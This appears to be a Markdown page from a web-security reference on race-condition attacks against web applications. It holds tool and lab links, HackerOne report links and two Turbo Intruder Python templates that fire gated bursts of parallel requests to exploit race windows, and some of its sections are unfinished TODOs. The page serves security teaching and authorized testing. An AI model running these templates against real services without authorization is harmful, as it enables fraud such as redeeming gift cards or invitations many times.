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121 lines
4.0 KiB
Markdown
121 lines
4.0 KiB
Markdown
# Race Condition
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> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
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## Summary
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- [Race Condition](#race-condition)
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- [Summary](#summary)
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- [Tools](#tools)
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- [Labs](#labs)
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- [Limit-overrun](#limit-overrun)
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- [Rate-limit bypass](#rate-limit-bypass)
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- [Turbo Intruder](#turbo-intruder)
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- [Example 1](#example-1)
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- [Example 2](#example-2)
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- [References](#references)
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## Tools
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* [Turbo Intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.](https://github.com/PortSwigger/turbo-intruder)
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## Labs
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* [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun)
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## Limit-overrun
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TODO
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**Examples**:
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* [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
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* [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007)
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* [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609)
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## Rate-limit bypass
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TODO
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**Examples**:
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* []()
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## Turbo Intruder
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### Example 1
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1. Send request to turbo intruder
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2. Use this python code as a payload of the turbo intruder
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```python
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def queueRequests(target, wordlists):
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engine = RequestEngine(endpoint=target.endpoint,
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concurrentConnections=30,
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requestsPerConnection=30,
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pipeline=False
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)
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for i in range(30):
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engine.queue(target.req, i)
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engine.queue(target.req, target.baseInput, gate='race1')
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engine.start(timeout=5)
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engine.openGate('race1')
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engine.complete(timeout=60)
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def handleResponse(req, interesting):
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table.add(req)
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```
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3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
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4. Click "Attack"
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### Example 2
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This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
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```python
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def queueRequests(target, wordlists):
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engine = RequestEngine(endpoint=target.endpoint,
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concurrentConnections=30,
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requestsPerConnection=100,
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pipeline=False
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)
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request1 = '''
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POST /target-URI-1 HTTP/1.1
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Host: <REDACTED>
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Cookie: session=<REDACTED>
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parameterName=parameterValue
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'''
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request2 = '''
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GET /target-URI-2 HTTP/1.1
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Host: <REDACTED>
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Cookie: session=<REDACTED>
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'''
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engine.queue(request1, gate='race1')
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for i in range(30):
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engine.queue(request2, gate='race1')
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engine.openGate('race1')
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engine.complete(timeout=60)
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def handleResponse(req, interesting):
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table.add(req)
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```
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## References
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* [DEF CON 31 - Smashing the State Machine the True Potential of Web Race Conditions - James Kettle](https://youtu.be/tKJzsaB1ZvI)
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* [Turbo Intruder: Embracing the billion-request attack - James Kettle - 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
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* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon - Apr 24, 2018](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)
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* [Race conditions on the web - Josip Franjkovic - July 12th, 2016](https://www.josipfranjkovic.com/blog/race-conditions-on-web)
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* [New techniques and tools for web race conditions - Emma Stocks - 10 August 2023](https://portswigger.net/blog/new-techniques-and-tools-for-web-race-conditions) |